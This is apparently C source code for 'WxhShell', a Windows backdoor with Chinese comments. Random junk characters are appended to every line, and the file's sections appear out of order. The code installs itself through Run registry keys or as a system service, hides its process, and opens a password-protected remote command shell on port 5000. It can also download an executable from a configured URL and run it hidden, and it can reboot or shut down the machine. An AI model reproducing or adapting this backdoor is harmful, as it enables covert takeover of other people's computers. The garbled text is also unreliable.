ULONG UniqueProcessId; ]ke9ipj]:
ULONG InheritedFromUniqueProcessId; /8l@ndZf
} PROCESS_BASIC_INFORMATION; Bnk<e
<Rn-B).3bs
PROCNTQSIP NtQueryInformationProcess; V0
Z8VqV
(j@c946z""
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z+6WG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5HHf3E [
(=WYi~2v
HANDLE hProcess; F|m &n&
PROCESS_BASIC_INFORMATION pbi; YCb|eS^u
=Gzs+6A8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S~fP$L5
if(NULL == hInst ) return 0; ~&ns?z>x
D{\o*\TN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |X XO0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rf]z5;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hu6Qr
.IY@Q
if (!NtQueryInformationProcess) return 0; *!
:j$n;
gSwHPm%zn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (91ts$jH
if(!hProcess) return 0; .nVY" C&
Y7qQ`|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lo6upirZX
K2n#;fY %
CloseHandle(hProcess); DQ/rx`BG
u$5.GmKm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8Ara^Xh}q
if(hProcess==NULL) return 0; pYAKA1F
}m^^6h
HMODULE hMod; r9M3rj]
char procName[255]; QbSLSMoL
unsigned long cbNeeded; acUyz2x
"m6G;cv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mDv<d =p!
@f|~$$k=
CloseHandle(hProcess); L..
~J~R.r/
if(strstr(procName,"services")) return 1; // 以服务启动 ?F$ #t6Q
G;wh).jG5
return 0; // 注册表启动 NCzabl
} @@\px66
HRbv%
// 主模块 _!,2"dS
int StartWxhshell(LPSTR lpCmdLine) XHKLl?-
{ V"K.s2U^
SOCKET wsl; `DSFaBj,
BOOL val=TRUE; gs i2
int port=0; KTmwkZcfYD
struct sockaddr_in door; q)C
Xu
zx:;0Z:S6>
if(wscfg.ws_autoins) Install(); H<ovIMd
IaRwPDj6
port=atoi(lpCmdLine); F|!=]A<
BT0;I
if(port<=0) port=wscfg.ws_port; ALO/{:l(
5$>buYF
WSADATA data; }#E]efjs
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p-(V2SP/)t
lsj9^z7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <liprUFsn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A@d 2Ukv
door.sin_family = AF_INET; Wql=PqF
door.sin_addr.s_addr = inet_addr("127.0.0.1"); b W/T}FND
door.sin_port = htons(port); 7 u Q +]d
go6;_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Lh!7g/0N
closesocket(wsl); ZvC?F=tH
return 1; aA>!p{/x
} y,jpd#Y
I(&N2L$-
if(listen(wsl,2) == INVALID_SOCKET) { *M`,#
closesocket(wsl); Si23w'T
return 1; T\4>4eX-
} _^RN$4.R>
Wxhshell(wsl); O#J7GbrHO
WSACleanup(); %$)Sz[=
LB$0'dZU
return 0;
zZ51jA9x
qJl DQc-
} J%q)6&
In:V.'D/>t
// 以NT服务方式启动 0%HAa|L,,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KC9VQeSc
{ Wq 1OYZ,
DWORD status = 0; ~@ <o-|#
DWORD specificError = 0xfffffff; d0%Wz5Np
@J^
Oy 3z
serviceStatus.dwServiceType = SERVICE_WIN32; &IDT[J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9|@5eN:N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /&@q*L
serviceStatus.dwWin32ExitCode = 0; #ifjQ7(:
serviceStatus.dwServiceSpecificExitCode = 0; wNFx1u^/)
serviceStatus.dwCheckPoint = 0; >XuPg(Ow
serviceStatus.dwWaitHint = 0; }9z$72;Qdq
u9c^YC BM
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t(.vX
if (hServiceStatusHandle==0) return; l`X?C~JhJ
r~,3
status = GetLastError(); 9]G~i`QQ
if (status!=NO_ERROR) vGJw/ij'X
{ +Qzl-eN/+
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9MQwc
serviceStatus.dwCheckPoint = 0; |KPNl\%ID
serviceStatus.dwWaitHint = 0; /Gb)BJk!
serviceStatus.dwWin32ExitCode = status;
}LEasj
serviceStatus.dwServiceSpecificExitCode = specificError; Lew
2Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "_BWUY
return; !VudZ]Sg
} Aq'~'hS`1
kxA T
serviceStatus.dwCurrentState = SERVICE_RUNNING; tdu:imH~
serviceStatus.dwCheckPoint = 0; A+\rGVNH'S
serviceStatus.dwWaitHint = 0; e!C,<W&B\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *U8,Q]gS
} 5yV>-XT+-
mQU t 'j4
// 处理NT服务事件,比如:启动、停止 .]<iRf[\[
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gcxz$.(
{ M#8_Qbvfk
switch(fdwControl) G$/Qcr6W<
{ Rf=-Q
%
case SERVICE_CONTROL_STOP: $|!3ks
serviceStatus.dwWin32ExitCode = 0; ].QzOV'
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y~#.otBL&
serviceStatus.dwCheckPoint = 0; awQB0ow'$P
serviceStatus.dwWaitHint = 0; mpIR: Im
{ 8yZs>Og?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rJ6N'vw>
} (X2[}K
return; ?g*.7Wc
case SERVICE_CONTROL_PAUSE: L0%W;m
serviceStatus.dwCurrentState = SERVICE_PAUSED; W ,]Ua]
break; {[{jlG4H
case SERVICE_CONTROL_CONTINUE: s!F8<:FRJD
serviceStatus.dwCurrentState = SERVICE_RUNNING; Fs=E8' b
break; H~ >\HV*
case SERVICE_CONTROL_INTERROGATE: Tz\v.&? $
break; Nh4&3"g|
}; CzDg?w b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &RHx8zScP
} 'auYmX
zE}ry!{
// 标准应用程序主函数 <]`|HJoy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,n>K$
{ ;__k*<+{.
6s!=de
// 获取操作系统版本 +J42pSxzoo
OsIsNt=GetOsVer(); Ycxv=Et
GetModuleFileName(NULL,ExeFile,MAX_PATH); ej(< Le\
LzEH&y_O
// 从命令行安装 THCvcU?X
if(strpbrk(lpCmdLine,"iI")) Install(); |F~U
S[&yO-=p6
// 下载执行文件 $TAsb>W!(
if(wscfg.ws_downexe) { /|v
b)J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kidv^`.H$w
WinExec(wscfg.ws_filenam,SW_HIDE); ob[G3rfd@Z
} 5'wFZ=>vMt
ZNDjk
if(!OsIsNt) { QbWeQ[V{
// 如果时win9x,隐藏进程并且设置为注册表启动 u*7>0o|H:
HideProc(); i>pUTT
_[
StartWxhshell(lpCmdLine); mJVru0
} ]qk`Yi
else Q$yQ^ mG
if(StartFromService()) Qgo|\=
// 以服务方式启动 X#MC|Fzy@
StartServiceCtrlDispatcher(DispatchTable); uxW<Eh4H*
else @.QuIm8,
// 普通方式启动 QT(]S>--n
StartWxhshell(lpCmdLine); !]z4'* )W
O&dh<
return 0; W#x~x| (c
} ?,eq86-M
[F,s=,S'M
xu'b@G}12
ORIXcj]
=========================================== ;s$
P?('
ECuNkmUI
*E/CNMn=E
Gs*X> D
Z/e[$xT <
`TDS4Y
" _G^ 4KwYp
-x>2Wb~%
#include <stdio.h> lt0byn$vz
#include <string.h> J@4 Z+l9
#include <windows.h> StLbX?d 6
#include <winsock2.h> !F$o$iq
#include <winsvc.h> 92/_!P>
#include <urlmon.h> G8b`>@rZ
#BI Z|
#pragma comment (lib, "Ws2_32.lib") >H]|R }h
#pragma comment (lib, "urlmon.lib") <7MxI@\
:*tFW~<*b
#define MAX_USER 100 // 最大客户端连接数 :l {%H^;1
#define BUF_SOCK 200 // sock buffer <;!#+|L/
#define KEY_BUFF 255 // 输入 buffer *i,A(f'e4X
OlsD
#define REBOOT 0 // 重启 CEI.*Iywu
#define SHUTDOWN 1 // 关机 MeO2 cy!5q
6k ]+DbT
#define DEF_PORT 5000 // 监听端口 &?APY9\.
*MXE>
#define REG_LEN 16 // 注册表键长度 05YsLNh
#define SVC_LEN 80 // NT服务名长度 M{XBmDfN
|Tk'H&
// 从dll定义API -9q3]nmT(
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XK@Ct eP"
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,GF(pCZzG
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fvV5G,lD3h
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sN/8OLc
CYhSCT!-?
// wxhshell配置信息 R'B-$:u
struct WSCFG { BIjkW.uf
int ws_port; // 监听端口 $< .wQ8:Q
char ws_passstr[REG_LEN]; // 口令 Mg\8m-L^
int ws_autoins; // 安装标记, 1=yes 0=no G,@Jo[e
char ws_regname[REG_LEN]; // 注册表键名 /+?eSgM/
char ws_svcname[REG_LEN]; // 服务名 kcl Z+E
char ws_svcdisp[SVC_LEN]; // 服务显示名 iGIry^D
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Pt*4NaT;
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (ZD~Q_O-
int ws_downexe; // 下载执行标记, 1=yes 0=no %/%TR@/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `_pVwa<@w
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]P4?jKI
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}; F@-8J?Hl:
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// default Wxhshell configuration :io[9B [
struct WSCFG wscfg={DEF_PORT, >q1rdq
"xuhuanlingzhe", Y]"lcr}
1, tAS[T9B
"Wxhshell", /}3I:aJwb
"Wxhshell", h&EF)~G
"WxhShell Service", h"ATRr^
"Wrsky Windows CmdShell Service", )1Z
@}o 9
"Please Input Your Password: ", Vx=tP.BO]
1, !/EN
"http://www.wrsky.com/wxhshell.exe", n,b6|Y0
"Wxhshell.exe" fa(- &;q
}; -dH]_
Ak@y"!wnM
// 消息定义模块 TA!6|)BUW
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3^Z@fC
char *msg_ws_prompt="\n\r? for help\n\r#>"; R"O,2+@<.
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '6f)^DYA'?
char *msg_ws_ext="\n\rExit."; Zy^ wS1io
char *msg_ws_end="\n\rQuit."; m/aA
q8
char *msg_ws_boot="\n\rReboot..."; OC Wyp
char *msg_ws_poff="\n\rShutdown..."; d'e\tO
char *msg_ws_down="\n\rSave to "; oSkvTK$&i
G8Zl[8
char *msg_ws_err="\n\rErr!"; s'k}
.}
char *msg_ws_ok="\n\rOK!"; bHioM{S
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char ExeFile[MAX_PATH]; C=P}@| K
int nUser = 0; NrfAr}v'E
HANDLE handles[MAX_USER]; g,\O}jT\'
int OsIsNt; &nwk]+,0W#
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SERVICE_STATUS serviceStatus; I\$?'q>
SERVICE_STATUS_HANDLE hServiceStatusHandle; wI#R\v8(`n
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// 函数声明 Gs(;&fw
int Install(void); /*m6-DC
int Uninstall(void); fI-f Gx
int DownloadFile(char *sURL, SOCKET wsh); Eyg F,>.4
int Boot(int flag); C&RZdh,$
void HideProc(void); pw=o}-P{
int GetOsVer(void); O`0\f8/.?
int Wxhshell(SOCKET wsl); o(oD8Ni
void TalkWithClient(void *cs); Md>9Daa~
int CmdShell(SOCKET sock); Ew&|!d
int StartFromService(void); @eN,m {b
int StartWxhshell(LPSTR lpCmdLine); J?qikE&
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kC/An@J^#
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RtF!(gd
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// 数据结构和表定义 7J5Yzu)D
SERVICE_TABLE_ENTRY DispatchTable[] = } v3w-
{ F)=*Ga
{wscfg.ws_svcname, NTServiceMain}, w)"F=33}5
{NULL, NULL} 2mfG:^^c
}; x3 01uf[
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// 自我安装 9PJnKzQ4
int Install(void) muIJeQ.C
{ zl)r3#6hW
char svExeFile[MAX_PATH]; w,;ox2
HKEY key; $qM&iI-l0
strcpy(svExeFile,ExeFile); OA&r8WK3
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// 如果是win9x系统,修改注册表设为自启动 E[Ao*
if(!OsIsNt) { G%SoC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4+F@BxpB
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t9&=; s
RegCloseKey(key); m%)S<L7
l
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p+^K$w^Cs
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hCB _g
RegCloseKey(key); X@%4N<
return 0; 3PaMq6Ca
} 82yfPQ&UI
} z]1g;j
} E^x/v_,$w!
else { FQ]5W |e
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// 如果是NT以上系统,安装为系统服务 OwLJS5r@<-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fTd":F
if (schSCManager!=0) OTmr-l6
{ WM GiV
SC_HANDLE schService = CreateService j&